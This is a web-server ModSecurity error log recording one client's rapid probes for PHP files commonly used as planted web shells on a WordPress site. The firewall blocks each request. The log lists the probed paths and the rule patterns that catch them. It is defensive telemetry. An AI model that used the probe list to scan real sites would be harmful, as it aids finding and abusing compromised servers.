[Tue Nov 25 17:51:49.714656 2025] [:error] [pid 28739:tid 28778] [client 20.10.155.22:4024] [client 20.10.155.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/snus.php"] [unique_id "aSV8NRxGpKmlkG4FexRitwAAAhA"]
[Tue Nov 25 17:51:52.001527 2025] [:error] [pid 28609:tid 28620] [client 20.10.155.22:2245] [client 20.10.155.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/011i.php"] [unique_id "aSV8OCGGdT-nZJVs3x2srgAAAYI"]
[Tue Nov 25 17:51:54.529162 2025] [:error] [pid 14076:tid 14085] [client 20.10.155.22:9304] [client 20.10.155.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/011i.php"] [unique_id "aSV8OnsB4Gz6Qw-pvBv6oAAAAAQ"]
[Tue Nov 25 17:51:56.979593 2025] [:error] [pid 28739:tid 28777] [client 20.10.155.22:6537] [client 20.10.155.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/011i.php"] [unique_id "aSV8PBxGpKmlkG4FexRiuQAAAg8"]
[Tue Nov 25 17:52:00.363771 2025] [:error] [pid 28739:tid 28770] [client 20.10.155.22:2392] [client 20.10.155.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/011i.php"] [unique_id "aSV8QBxGpKmlkG4FexRivgAAAgg"]
[Tue Nov 25 17:52:04.761022 2025] [:error] [pid 28740:tid 28800] [client 20.10.155.22:3873] [client 20.10.155.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/disaos.php"] [unique_id "aSV8RFppQCoYxWW6V0VfowAAAkk"]
[Tue Nov 25 17:52:09.885493 2025] [:error] [pid 2987:tid 2992] [client 20.10.155.22:9461] [client 20.10.155.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/disaos.php"] [unique_id "aSV8Sc-djEt-pTzPxnyDIgAAAUM"]
[Tue Nov 25 17:52:13.658302 2025] [:error] [pid 28740:tid 28794] [client 20.10.155.22:3244] [client 20.10.155.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/disaos.php"] [unique_id "aSV8TVppQCoYxWW6V0VfqgAAAkM"]
[Tue Nov 25 17:52:17.208000 2025] [:error] [pid 28740:tid 28813] [client 20.10.155.22:9463] [client 20.10.155.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gdn.php"] [unique_id "aSV8UVppQCoYxWW6V0VfsAAAAlY"]
[Tue Nov 25 17:54:56.509129 2025] [:error] [pid 2987:tid 3007] [client 20.10.155.22:2532] [client 20.10.155.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/naxc.php"] [unique_id "aSV88M-djEt-pTzPxnyD_gAAAVI"]
[Tue Nov 25 17:55:01.972724 2025] [:error] [pid 28842:tid 28991] [client 20.10.155.22:4421] [client 20.10.155.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/naxc.php"] [unique_id "aSV89dNmoaPf6T4-6C1v7AAAA0E"]
[Tue Nov 25 17:55:03.323606 2025] [:error] [pid 14168:tid 14186] [client 20.10.155.22:3457] [client 20.10.155.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/naxc.php"] [unique_id "aSV89_R-ZDU0QEgAIItPuwAAAM8"]
[Tue Nov 25 17:55:04.279704 2025] [:error] [pid 28739:tid 28767] [client 20.10.155.22:2184] [client 20.10.155.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/naxc.php"] [unique_id "aSV8-BxGpKmlkG4FexRjuQAAAgU"]
[Tue Nov 25 17:55:05.423631 2025] [:error] [pid 28739:tid 28786] [client 20.10.155.22:2525] [client 20.10.155.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we.php"] [unique_id "aSV8-RxGpKmlkG4FexRjvAAAAhg"]
[Tue Nov 25 17:55:08.128154 2025] [:error] [pid 14077:tid 14133] [client 20.10.155.22:4134] [client 20.10.155.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we.php"] [unique_id "aSV8_BG9n7UHEkwDTyhi2AAAAFc"]
[Tue Nov 25 17:55:09.651754 2025] [:error] [pid 28842:tid 29001] [client 20.10.155.22:4497] [client 20.10.155.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we.php"] [unique_id "aSV8_dNmoaPf6T4-6C1v8gAAA0s"]
[Tue Nov 25 17:55:10.445763 2025] [:error] [pid 28842:tid 29018] [client 20.10.155.22:1606] [client 20.10.155.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we.php"] [unique_id "aSV8_tNmoaPf6T4-6C1v8wAAA1E"]
[Tue Nov 25 17:55:13.258790 2025] [:error] [pid 28609:tid 28636] [client 20.10.155.22:6521] [client 20.10.155.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/size.php"] [unique_id "aSV9ASGGdT-nZJVs3x2teQAAAZI"]
[Tue Nov 25 17:55:16.170263 2025] [:error] [pid 14078:tid 14155] [client 20.10.155.22:8705] [client 20.10.155.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/size.php"] [unique_id "aSV9BNVXYbb0ii_rVoInVAAAAJI"]
[Tue Nov 25 17:55:18.717115 2025] [:error] [pid 28842:tid 28993] [client 20.10.155.22:1628] [client 20.10.155.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/size.php"] [unique_id "aSV9BtNmoaPf6T4-6C1v-gAAA0M"]
[Tue Nov 25 17:55:22.412013 2025] [:error] [pid 14077:tid 14111] [client 20.10.155.22:5321] [client 20.10.155.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/size.php"] [unique_id "aSV9ChG9n7UHEkwDTyhjAgAAAEE"]
[Tue Nov 25 17:55:24.795333 2025] [:error] [pid 2987:tid 2991] [client 20.10.155.22:7337] [client 20.10.155.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rsjlrria.php"] [unique_id "aSV9DM-djEt-pTzPxnyEFQAAAUI"]
[Tue Nov 25 17:55:28.151435 2025] [:error] [pid 2987:tid 2998] [client 20.10.155.22:1839] [client 20.10.155.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rsjlrria.php"] [unique_id "aSV9EM-djEt-pTzPxnyEFwAAAUk"]
[Tue Nov 25 17:55:29.853967 2025] [:error] [pid 14077:tid 14122] [client 20.10.155.22:7760] [client 20.10.155.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rsjlrria.php"] [unique_id "aSV9ERG9n7UHEkwDTyhjEAAAAEw"]
[Tue Nov 25 17:56:43.441882 2025] [:error] [pid 14078:tid 14159] [client 20.10.155.22:8636] [client 20.10.155.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/customize/about.php"] [unique_id "aSV9W9VXYbb0ii_rVoInzgAAAJY"]
[Tue Nov 25 17:58:09.326308 2025] [:error] [pid 28842:tid 28998] [client 20.10.155.22:9013] [client 20.10.155.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/e56.php"] [unique_id "aSV9sdNmoaPf6T4-6C1xDgAAA0g"]
[Tue Nov 25 17:58:15.013704 2025] [:error] [pid 28836:tid 29013] [client 20.10.155.22:5690] [client 20.10.155.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/e56.php"] [unique_id "aSV9t5wNRsoxcLQGkTeqhgAAAtc"]
[Tue Nov 25 17:58:19.618823 2025] [:error] [pid 14077:tid 14127] [client 20.10.155.22:4535] [client 20.10.155.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/e56.php"] [unique_id "aSV9uxG9n7UHEkwDTyhkjgAAAFE"]
[Tue Nov 25 17:58:24.952741 2025] [:error] [pid 28739:tid 28784] [client 20.10.155.22:7502] [client 20.10.155.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/e56.php"] [unique_id "aSV9wBxGpKmlkG4FexRkXgAAAhY"]
[Tue Nov 25 17:58:28.349750 2025] [:error] [pid 14077:tid 14117] [client 20.10.155.22:2393] [client 20.10.155.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-x.php"] [unique_id "aSV9xBG9n7UHEkwDTyhkoAAAAEc"]
[Tue Nov 25 17:58:30.897161 2025] [:error] [pid 28740:tid 28793] [client 20.10.155.22:2125] [client 20.10.155.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-x.php"] [unique_id "aSV9xlppQCoYxWW6V0Vh1QAAAkI"]
[Tue Nov 25 17:58:40.105510 2025] [:error] [pid 2987:tid 3005] [client 20.10.155.22:2116] [client 20.10.155.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-x.php"] [unique_id "aSV90M-djEt-pTzPxnyFGgAAAVA"]
[Tue Nov 25 17:59:03.434459 2025] [:error] [pid 28836:tid 29006] [client 20.10.155.22:9532] [client 20.10.155.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/11.php"] [unique_id "aSV955wNRsoxcLQGkTeqmgAAAtA"]
[Tue Nov 25 17:59:05.708476 2025] [:error] [pid 14078:tid 14161] [client 20.10.155.22:8539] [client 20.10.155.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/11.php"] [unique_id "aSV96dVXYbb0ii_rVoIoawAAAJg"]
[Tue Nov 25 18:00:01.824629 2025] [:error] [pid 28836:tid 28969] [client 20.10.155.22:3031] [client 20.10.155.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-22.php"] [unique_id "aSV-IZwNRsoxcLQGkTeqywAAAs4"]
[Tue Nov 25 18:00:06.118219 2025] [:error] [pid 28739:tid 28770] [client 20.10.155.22:3536] [client 20.10.155.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-22.php"] [unique_id "aSV-JhxGpKmlkG4FexRkwwAAAgg"]
[Tue Nov 25 18:00:09.605655 2025] [:error] [pid 14077:tid 14125] [client 20.10.155.22:5742] [client 20.10.155.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-22.php"] [unique_id "aSV-KRG9n7UHEkwDTyhlJAAAAE8"]
[Tue Nov 25 18:00:13.567470 2025] [:error] [pid 14076:tid 14099] [client 20.10.155.22:4762] [client 20.10.155.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-22.php"] [unique_id "aSV-LXsB4Gz6Qw-pvBv8dgAAABI"]
[Tue Nov 25 18:00:16.882344 2025] [:error] [pid 2987:tid 2991] [client 20.10.155.22:6808] [client 20.10.155.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/makeasmtp.php"] [unique_id "aSV-MM-djEt-pTzPxnyFdgAAAUI"]
[Tue Nov 25 18:00:19.863155 2025] [:error] [pid 28740:tid 28810] [client 20.10.155.22:4682] [client 20.10.155.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/makeasmtp.php"] [unique_id "aSV-M1ppQCoYxWW6V0ViaQAAAlM"]
[Tue Nov 25 18:00:22.341593 2025] [:error] [pid 14077:tid 14124] [client 20.10.155.22:6685] [client 20.10.155.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/makeasmtp.php"] [unique_id "aSV-NhG9n7UHEkwDTyhlPgAAAE4"]
[Tue Nov 25 18:00:25.566908 2025] [:error] [pid 14076:tid 14101] [client 20.10.155.22:5719] [client 20.10.155.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/makeasmtp.php"] [unique_id "aSV-OXsB4Gz6Qw-pvBv8iwAAABQ"]
[Tue Nov 25 18:00:28.167587 2025] [:error] [pid 28842:tid 28994] [client 20.10.155.22:8183] [client 20.10.155.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/system_log.php"] [unique_id "aSV-PNNmoaPf6T4-6C1xrQAAA0Q"]
[Tue Nov 25 18:00:30.290160 2025] [:error] [pid 28740:tid 28810] [client 20.10.155.22:4648] [client 20.10.155.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/system_log.php"] [unique_id "aSV-PlppQCoYxWW6V0VieAAAAlM"]
[Tue Nov 25 18:00:35.234525 2025] [:error] [pid 28740:tid 28794] [client 20.10.155.22:9814] [client 20.10.155.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/system_log.php"] [unique_id "aSV-Q1ppQCoYxWW6V0VihQAAAkM"]
[Tue Nov 25 18:00:45.423709 2025] [:error] [pid 28842:tid 28990] [client 20.10.155.22:8218] [client 20.10.155.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/NewFile.php"] [unique_id "aSV-TdNmoaPf6T4-6C1xvgAAA0A"]
[Tue Nov 25 18:00:48.972641 2025] [:error] [pid 14078:tid 14159] [client 20.10.155.22:9845] [client 20.10.155.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/NewFile.php"] [unique_id "aSV-UNVXYbb0ii_rVoIozAAAAJY"]
[Tue Nov 25 18:00:52.726777 2025] [:error] [pid 2987:tid 2993] [client 20.10.155.22:3235] [client 20.10.155.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/NewFile.php"] [unique_id "aSV-VM-djEt-pTzPxnyFsAAAAUQ"]
[Tue Nov 25 18:00:56.307659 2025] [:error] [pid 14076:tid 14095] [client 20.10.155.22:8193] [client 20.10.155.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/NewFile.php"] [unique_id "aSV-WHsB4Gz6Qw-pvBv8vgAAAA4"]
[Tue Nov 25 18:01:57.702090 2025] [:error] [pid 14077:tid 14133] [client 20.10.155.22:2304] [client 20.10.155.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp.php"] [unique_id "aSV-lRG9n7UHEkwDTyhl2wAAAFc"]
[Tue Nov 25 18:01:59.942198 2025] [:error] [pid 14076:tid 14099] [client 20.10.155.22:6265] [client 20.10.155.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp.php"] [unique_id "aSV-l3sB4Gz6Qw-pvBv82wAAABI"]
[Tue Nov 25 18:02:03.368893 2025] [:error] [pid 28842:tid 28998] [client 20.10.155.22:1145] [client 20.10.155.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp.php"] [unique_id "aSV-m9NmoaPf6T4-6C1yVgAAA0g"]
[Tue Nov 25 18:02:05.225796 2025] [:error] [pid 14077:tid 14127] [client 20.10.155.22:2091] [client 20.10.155.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp.php"] [unique_id "aSV-nRG9n7UHEkwDTyhl6gAAAFE"]
[Tue Nov 25 18:02:09.896858 2025] [:error] [pid 28609:tid 28633] [client 20.10.155.22:5860] [client 20.10.155.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "aSV-oSGGdT-nZJVs3x2uvAAAAY8"]
[Tue Nov 25 18:02:13.227269 2025] [:error] [pid 28836:tid 28964] [client 20.10.155.22:1034] [client 20.10.155.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "aSV-pZwNRsoxcLQGkTeragAAAsk"]
[Tue Nov 25 18:02:15.712768 2025] [:error] [pid 14168:tid 14194] [client 20.10.155.22:4805] [client 20.10.155.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "aSV-p_R-ZDU0QEgAIItRpgAAANc"]
